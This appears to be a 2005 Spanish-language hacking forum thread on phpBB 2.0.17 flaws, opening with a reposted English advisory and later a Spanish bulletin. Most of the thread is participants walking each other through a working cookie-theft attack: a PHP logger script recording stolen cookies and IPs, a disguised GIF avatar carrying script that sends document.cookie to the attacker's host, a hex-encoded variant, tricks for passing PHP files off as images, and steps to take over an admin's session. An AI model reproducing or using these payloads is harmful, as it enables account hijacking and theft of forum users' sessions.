jeje pues ya va otro mas para todos los phpbbs..
To get rid of possible security problems caused by not properly
initialised variables phpBB comes with the following piece of
code, that is intended to deregister global variables, which were
created because of the register_globals directive. Unfortunately
there are atleast 3 ways to bypass the protection.
// PHP4+ path
$not_unset = array('HTTP_GET_VARS', 'HTTP_POST_VARS',
'HTTP_COOKIE_VARS', 'HTTP_SERVER_VARS',
'HTTP_SESSION_VARS', 'HTTP_ENV_VARS',
'HTTP_POST_FILES', 'phpEx', 'phpbb_root_path');
// Not only will array_merge give a warning if a parameter
// is not an array, it will actually fail. So we check if
// HTTP_SESSION_VARS has been initialised.
if (!isset($HTTP_SESSION_VARS))
{
$HTTP_SESSION_VARS = array();
}
// Merge all into one extremely huge array; unset
// this later
$input = array_merge($HTTP_GET_VARS, $HTTP_POST_VARS,
$HTTP_COOKIE_VARS, $HTTP_SERVER_VARS,
$HTTP_SESSION_VARS, $HTTP_ENV_VARS,
$HTTP_POST_FILES);
unset($input['input']);
unset($input['not_unset']);
while (list($var,) = @each($input))
{
if (!in_array($var, $not_unset))
{
unset($$var);
}
}
unset($input);
Bypass Vulnerabilities
----------------------
[1] In PHP5 <= 5.0.5 it is possible to register f.e. the global
variable $foobar by supplying a GET/POST/COOKIE variable
with the name 'foobar' but also by supplying a GPC variable
called 'GLOBALS[foobar]'. If the variable is supplied in
that way, the code above will not try to unset $foobar, but
$GLOBALS, which completely bypasses the protection.
[2] When the session extension is not started by a call to
session_start(), PHP does not know about the variables
$_SESSION or $HTTP_SESSION_VARS, which means, it is possible
to fill them with any value if register_globals is turned on.
Combined with the fact (that was even documented in the phpBB
code), that array_merge() will fail in PHP5, when at least
one of the parameters is not an array, it is possible for an
attacker to simply set HTTP_SESSION_VARS to a string and let
the complete protection fail, because $input ends up empty.
[3] When register_long_array is turned off PHP does not know
anymore about all the HTTP_* variables. This means they can
be filled with anything that is completely unrelated to the
existing global variables. It is obvious that the protection
cannot work, when this configuration is choosen.
Additonally to the 3 possible ways to bypass the globals
deregistration code, several not properly initalised variables
were disclosed to the vendor, that can even lead to remote code
execution.
Not properly initialised variables
----------------------------------
[1] Within usercp_register.php the variable 'error_msg' is not
properly initialised and can therefore be used to inject
arbitrary HTML code
[2] Within login.php the variable 'forward_page' is not properly
initialised and can be used to inject arbitrary HTML code
[3] Within search.php the variable 'list_cat' is not properly
initialised and can be used to inject arbitrary HTML
[4] Within usercp_register.php the variable 'signature_bbcode_uid'
is not properly initialised and can be used for SQL injection
of arbitrary 'field=xxx' statements into queries operating
on the user table, when magic_quotes_gpc is turned off.
[5] The same variable [4] can be used to inject f.e. the 'e'
modifier into the first parameter of a preg_replace()
statement, which means, that the second parameter is
evaluated as PHP code. Because the second parameter is
entirely filled with the user supplied signature, it is
possible to execute any PHP code. This can be exploited,
no matter if magic_quotes_gpc is turned on or off, just
2 different code paths need to be triggered.
Proof of Concept:
The Hardened-PHP project is not going to release exploits for any
of these vulnerabilities to the public.
http://www.securityfocus.com/bid/15246/info
http://www.securityfocus.com/bid/15243/info
http://www.zone-h.org/advisories/read/id=8348
saludos.
Cada vez me gustan menos los PHPBB.... viva SMF!
Ahora lo probare :D
joder que *****, yo utilizo phpbb porque el smf no me deja instalarlo simpre me da errores, agg que asco de bugs
Y como se usa el exploit?
::)
por ejemplo hagamos algo asi para realizar un robo de cookie...
creamos un archivo llamado cookie.php con el siguiente codigo:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('log.txt'); // chmod 777 and same directory
fwrite($fp, '<br>Cookie: '.$cookie.'</br> IP: ' .$ip. '<br> Date and Time: ' .$date. '</br> Referer: '.$referer.' ');
fclose($fp);
?>
este codigo creara un archivo log.txt con permiso 777
ahora creamos un avatar para subir a la web vulnerable con el siguiente codigo:
<GIF89aŸ8÷™fÿ™™><html><head><script>alert('http://yoursite/cookies.php?c='+document.cookie);</script></head></html>
y lo guardamos, recordando ponerle la extension .GIF
Salu2
para hacer eso hay que usar un modificador de cookies ???
haber si entendi primero cree co el phpedit el archivo cookie.php con el codigo
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('log.txt'); // chmod 777 and same directory
fwrite($fp, '<br>Cookie: '.$cookie.'</br> IP: ' .$ip. '<br> Date and Time: ' .$date. '</br> Referer: '.$referer.' ');
fclose($fp);
?>
ahora bien el archivo log.txt :-\
y luego creamos un archivo que sea avatar.php.gif ??? lo subimos y luego que ???
pd. ya me cree un foro phpbb 2.0.17 para probar
tienes que guradarlo .gif no.php.gif en tu hosting, das permisos de escritura a todos los usuarios al archivo log.txt
te pones el .gif de avatar y todos los usuarios que visiten tus posts les robarás la cookie
saludos.
Citar<GIF89aŸ8÷™fÿ™™><html><head><script>alert('http://yoursite/cookies.php?c='+document.cookie);</script></head></html>
no me sale la imagen .. solo un x y el codigo no se executa..
::)
no tiene que salir ninguna imagen!!! es un gif modificado y el codigo, en principio, crea un archivo ¨log.txt¨ en tu server con las cookies
salu2
tienes que cambiar http://yoursite/cookies.php poir donde hayas puesto tu cookies.php
yo tampoco lo entendi mucho :-\
aber primero se crea con el phpedit un archivo con el codigo.
luego que hago con esto:
Citar<GIF89aŸ8÷™fÿ™™><html><head><script>alert('http://yoursite/cookies.php?c='+document.cookie);</script></head></html>
lo inserto en el archivo config.php por algun lao??
esto mas que vulnerabilidad de phpBB es vulnerabilidad de internet explorer.. que aunque phpBB tiene la culpa por no fijarse si es una imagen.. internet explorer es el que permite ejecutar el codigo... que aunque no lo ejecuta activamente lo ejecuta pasivamente, yo no me habia fijado en este detalle, y pensaba que no funcionaba este mendigo bug.. pero al parecer si hace el intento que es mas que suficiente.
PHPBB + Internet Explorer = Catastrofe ;D ;D ;D
Esta muy bien mousehack ;).
Cita de: korgzak en 6 Noviembre 2005, 11:46 AM
PHPBB + Internet Explorer = Catastrofe ;D ;D ;D
PHPBB + Internet Explorer + windows + norton = :o :o :o :o :o
si como se comenta antes es mas una vulnerabilidad de i.explorer
con firefox funcionaria tambien?
He creado un foro en phpBB con version por debajo de 2.0.17 y he subido el archivo cookie.php y después subí el avatar y despues visito un post del otro susuario, pero no me crea ningún log.txt, todo esto con internet explorer.
¿por qué no funciona?
---------------------------
PARA LOS INDIOS
---------------------------
===============
phpBB: Ejecución de código arbitrario / SQL injection / Evasión de protección
Se han descubierto vulnerabilidades en phpBB (utilizado para definir y administrar foros de discusión, noticias, etc.), las cuales podrían ser explotadas por un atacante para ejecutar código HTML y PHP arbitrario o efectuar "SQL injection" en un sistema vulnerable.
Resumen
Errores de inicialización de variables podrían ser explotados por un atacante para ejecutar código HTML y PHP arbitrario o efectuar "SQL injection" en un sistema vulnerable.
Versiones Afectada
Estas vulnerabilidades afectan a las versiones de phpBB 2.0.17 y anteriores.
Detalle
1) Errores en la inicialización de variables:
- La variable "error_msg" en la función "usercp_register.php" no es inicializada correctamente, lo cual puede ser utilizado para inyectar código HTML arbitrario.
- La variable "forward_page" en la función "login.php" no es inicializada correctamente, lo cual puede ser utilizado para inyectar código HTML arbitrario.
- La variable "list_cat" en la función "search.php" no es inicializada correctamente, lo cual puede ser utilizado para inyectar código HTML arbitrario.
- La variable "signature_bbcode_uid" en la función "usercp_register.php" no es inicializada correctamente, lo cual puede ser utilizado para efectuar "SQL injection" de sentencias "field=xxx" en queries que operan en tablas de usuario, cuando la opción "magic_quotes_gpc" se encuentra habilitada.
- La variable "signature_bbcode_uid" en la función "usercp_register.php" puede ser utilizada además para inyectar, por ejemplo, el modificador "e" en el primer parámetro de una sentencia "preg_replace()", lo cual implica que el segundo parámetro será evaluado como código PHP. Como el segundo parámetro es completado enteramente con la firma provista por el usuario, es posible ejecutar cualquier código PHP. Esto puede ser explotado independientemente del seteo de la opción "magic_quotes_gpc".
2) Vulnerabilidades de evasión:
- En PHP5 (5.0.5 o anteriores) es posible registrar, por ejemplo, la variable global "$foobar" proporcionando una variable GET/POST/COOKIE con el nombre "foobar" pero también proporcionando una variable GPC llamada "GLOBALS[foobar]". Si la variable es proporcionada de dicha forma, el código previo no tratará de dessetear "foobar" sino $GLOBALS, lo cual evade completamente la protección.
- Cuando la extensión de la sesión no es iniciada por un llamado a "session_start()", PHP desconoce las variables $_SESSION o $HTTP_SESSION_VARS, lo cual significa que es posible llenarlas con cualquier valor, si "register_globals se encuentra habilitado. Combinado con el hecho que "array_merge()" no funcionará en PHP5, cuando al menos uno de los parámetros no es un arreglo, es posible que un atacante setee HTTP_SESSION_VARS a una cadena, evadiendo toda la protección, ya que "$input" termina vacía.
- Cuando "register_long_array" se encuentra deshabilitada, PHP no desconoce las variables HTTP_*. Esto implica que pueden ser completadas con cualquier contenido, aún no relacionado con las variables globales existentes. En este caso la protección no funciona.
Impacto
El impacto de estas vulnerabilidades es ALTO.
Recomendaciones
Recomendamos actualizar phpBB a la versión 2.0.18:
http://www.phpbb.com/downloads.php
Referencias
Para más información sobre este boletín:
Aviso original:
http://www.hardened-php.net/advisory_172005.75.html
Secunia:
http://secunia.com/advisories/17366/
phpBB:
http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=336756
Cita de: mousehack en 3 Noviembre 2005, 19:41 PM
por ejemplo hagamos algo asi para realizar un robo de cookie...
creamos un archivo llamado cookie.php con el siguiente codigo:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('log.txt'); // chmod 777 and same directory
fwrite($fp, '<br>Cookie: '.$cookie.'</br> IP: ' .$ip. '<br> Date and Time: ' .$date. '</br> Referer: '.$referer.' ');
fclose($fp);
?>
este codigo creara un archivo log.txt con permiso 777
ahora creamos un avatar para subir a la web vulnerable con el siguiente codigo:
<GIF89aŸ8÷™fÿ™™><html><head><script>alert('http://yoursite/cookies.php?c='+document.cookie);</script></head></html>
y lo guardamos, recordando ponerle la extension .GIF
Salu2
como as contruido ese codigo?
podrias explicar como hacerlo plz ^^
Citar<GIF89aŸ8÷™fÿ™™>
Alguien podria dar la cadena hexadecimal correcta?...
Cuando subo la imagen a un 2.0.17 me tira este error de validación:
"El avatar debe tener menos de 80 pixels de ancho por 80 pixels de alto"
Supongo que no esta entendiendo bien la cabecera del Gif.
Gracias.
http://foro.elhacker.net/index.php/topic,89986.0.html
Salu2
Gracias Mousehack pero en el topic que me pasaste no se encuentra la cadena hexadecimal, y el ejemplo al cual haces referencia no se puede acceder.
Más concretamente, podria tomar los 14 primeros caracteres de cualquier GIF y eso sería la cabecera?.
a mi me pasa esto cuando subo el avatar
El avatar debe tener menos de 100 pixels de ancho por 100 pixels de alto
alguna idea para poder pasar los tamaños q te imponen
-----------------------------------------------------------------
encontre una donde me dejo subir el avatar
y cree un post donde me respondio el admin
pero no veo el log.txt en mi ftp
Cita de: jeancarl00 en 9 Noviembre 2005, 19:04 PM
a mi me pasa esto cuando subo el avatar
El avatar debe tener menos de 100 pixels de ancho por 100 pixels de alto
alguna idea para poder pasar los tamaños q te imponen
-----------------------------------------------------------------
encontre una donde me dejo subir el avatar
y cree un post donde me respondio el admin
pero no veo el log.txt en mi ftp
Es que a mi tampoco me crea el log, no se porque...
Antes de crear el LOG fijense si funciona un simple ALERT para probar si la vulnerabilidad realmente funciona.
Teniendo en cuenta que en realidad se trata de una omision de IE es posible que quienes visiten el post con el exploit tengan en su explorador el parche adecuado...
Al menos eso creo...
Yo aún no he visto que ese exploit funcione...
Cita de: manware en 10 Noviembre 2005, 04:26 AM
Antes de crear el LOG fijense si funciona un simple ALERT para probar si la vulnerabilidad realmente funciona.
Teniendo en cuenta que en realidad se trata de una omision de IE es posible que quienes visiten el post con el exploit tengan en su explorador el parche adecuado...
Al menos eso creo...
Yo aún no he visto que ese exploit funcione...
podriamos probar poniendo la supuesta imagen en hexa, a ver si funciona (yo no tengo foro en q probar... :))
por ejemplo:
la cabecera del gif:
47 49 46 38 39 61 01 00 01 00
y un simple alert:
<HTML><HEAD><SCRIPT>alert(document.cookie);</SCRIPT></HEAD></HTML>
en hexa:
47 49 46 38 39 61 01 00 01 00 3C 48 54 4D 4C 3E 3C 48 45 41 44 3E 3C 53 43
52 49 50 54 3E 61 6C 65 72 74 28 64 6F 63 75 6D 65 6E 74 2E 63 6F 6F 6B 69
65 29 3B 3C 2F 53 43 52 49 50 54 3E 3C 2F 48 45 41 44 3E 3C 2F 48 54 4D 4C
3E
en este caso probamos como cabecera del GIF
GIF89a_--.
para probar (unicamente con IE, con firefox no funciona)
http://planet.nana.co.il/mycoolpictures123/fake/lt2.jpg
PD:adapatacion de un texto de K-Gen
Salu2
Yo cree este foro, podeís utilizarlo: http://usuarioslycos.es/ivaneilu/phpBB2/index.php
Pruebalo tu, mousehack, y luego nos cuentas.
PD: Por cierto, probé a poner la url del GIF, y si me saltaba la alerta con la cokiee y todo eso, pero lo suyo es que se quedé guardada en el log.txt.
saludos al foro. soy newbie!! Lamers no me jodais ehhhh!!!!
bueno a lo k vamos.....el log.txt no te lo guarda ya que el gif del ejemplo no tiene ese codigo....es de prueba solo para el alert....¿¿¿¿??? need help, pleaze.
grettings to allz!!!!!
xDinio_Albino...lel link no rulez!!!!
veamos otra prueba ;)
si queremos insertar una imagen en un phpbb y tenemos en nuestro server un archivo que queremos que se ejecute por ejemplo:
http://miserver/archivo.php
como hacemos para insertarlo sin crear un GIF modificado???
simplemente agregando al final del archivo:
/test.jpg
/test.jpeg
/test.gif
/test.png
phpbb pensara que es una imagen verdadera no un archivo php
otra posibilidad:
nos vamos a nuestro server y creamos un archivo lamado por ejemplo ¨PRUEBA.JPG¨ y dentro del mismo pones lo que quieres que se ejecute, luego pones en la web phpbb:
[img=http://tuserver.com/prueba.jpg]
Salu2
PD:teoricamente vulnerable de la version 2.0.0 a la 2.0.18
y una vez echo eso que pasa??
el admin si ve mi supuesto avatar,le roba la cookie??
Faltaba un punto:
http://usuarios.lycos.es/ivaneilu/phpBB2/index.php
que tal hice todo como dicen aca he visto que la foto tira error pero todavia no se em a creado ningun archivo dodne este lso cookies donde va aparecer eso?
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('log.txt'); // chmod 777 and same directory
fwrite($fp, '<br>Cookie: '.$cookie.'</br> IP: ' .$ip. '<br> Date and Time: ' .$date. '</br> Referer: '.$referer.' ');
fclose($fp);
?>
esto crea el archivo log.txt
si se fijan en esta linea $cookie=$_GET['c']; // ese 'c' se repite en el codigo del avatar y es x esa variable q pasan los parametros
<GIF89aŸ8÷™fÿ™™><html><head><script>alert('http://yoursite/cookies.php?c='+document.cookie);</script></head></html>
no programo en php pero creo entender un poco el codigo
sime he ekivokado xfavor corriganme
hasta ahora todos explciacion como crear el archivo cookie.php como crear el gif como en el gif tiene q decir al direccion de doden esta el cookiephp todo eso listo hecho bien ..
pero alguein ahroa explique que es lo qeu sigue..
doden se guarda el cookie de la persona que ve el gif y una vez que tengo el cookie q hago??
la cookie se ve en el log.txt
y luego tienes q modificar tu cookie y reeemplazarla x la q tienes en tu log.txt
claro epro eso es lo qeu no entiendo ese log.txt como lo creo
yo el cookie.php lo cree con el programa phpedit pero no me creo ningun log.txt
probaron con cambiar la cookie del sitio????
salu2
q????
x MouseHack: de momento ha permitido subir el php como jpg, con el modificador final /jpg y renombrando el php por jpg a su vez para k lo koja el server phpbb.
Ahora bien, debo de ver en mi server (con cualquier visita) la creacion del log.txt???
¿cuando dices lo de cambiar la cookie de sitio...a k te refieres?
asias por todo saludoz to allz!!!
mousehack
no podemos cambiar la cookie xq no se ha creado el log.txt
esa es nuestro problema
ahora toy q pruebo con el foro q ta arriba
ya les cuento q paso :)
-------------------------------------------
aver si alguien me ayuda y entra al post q puse
http://usuarios.lycos.es/ivaneilu/phpBB2/viewtopic.php?p=9#9
aqui explico mejor lo que quise decir:
http://ciberia.ya.com/webmousehack/phpbb.txt
Salu2
PD:todo lo aqui posteado por mi, es meramente didactico, no realicen daños en foros y/o webs, para probar nada. :-\
Salu2
a ver si me explico mas claro
1eros pasos subir tus archivos a tu host
cookies.php
imagen.gif
luego buscar el foro vuln e insertar en el avatar la imagen
(eso lo haces en tu perfil )
luego postear y esperar q el admin te conteste
esos pasos ya los hice
me falta cambiar mi cookie x la del admin
(yo uso el IEview para modificarla )
pero he aki el problema .. x cual cookie la reemplazamos
si no se ha creado el famoso log.txt ( se supone q de ahi es donde sacamos la info de la cookie )
esto es lo q me sale cuando me logeo y veo mi url del avatar
(http://usuarios.lycos.es/jeanhack/mikuki.bmp)
pero es la mia , la del admin no (testee con el foro q pusieron arriba)
ojala aclaren mis dudas ,,, de antemano thx
ya hice todo creo que todo esta bien aca les dejo mi gif
http://usuarios.lycos.es/avatar12/avatar.gif
el admin ya entro y todo lo qeu pasa que ahor no se donde se guarda el cookie del admin.. eso es lo qeu pasa
x MouseHack: llevas razon falla algo y mirando tu link y "girando" la cabeza me di cuenta que el codigo php esta incompleto.....hay que rellenar los fields: rmote addres y refer_http:
$ip = getenv ('REMOTE_ADDR')
//........
referer=getenv ('HTTP_REFERER')
ahora debe de ir pero voy pal kurro por favor insertar comemntarios al repecto del php thks to allz!!!!
al fin y al cabo alguien pudo hacrerlo andar..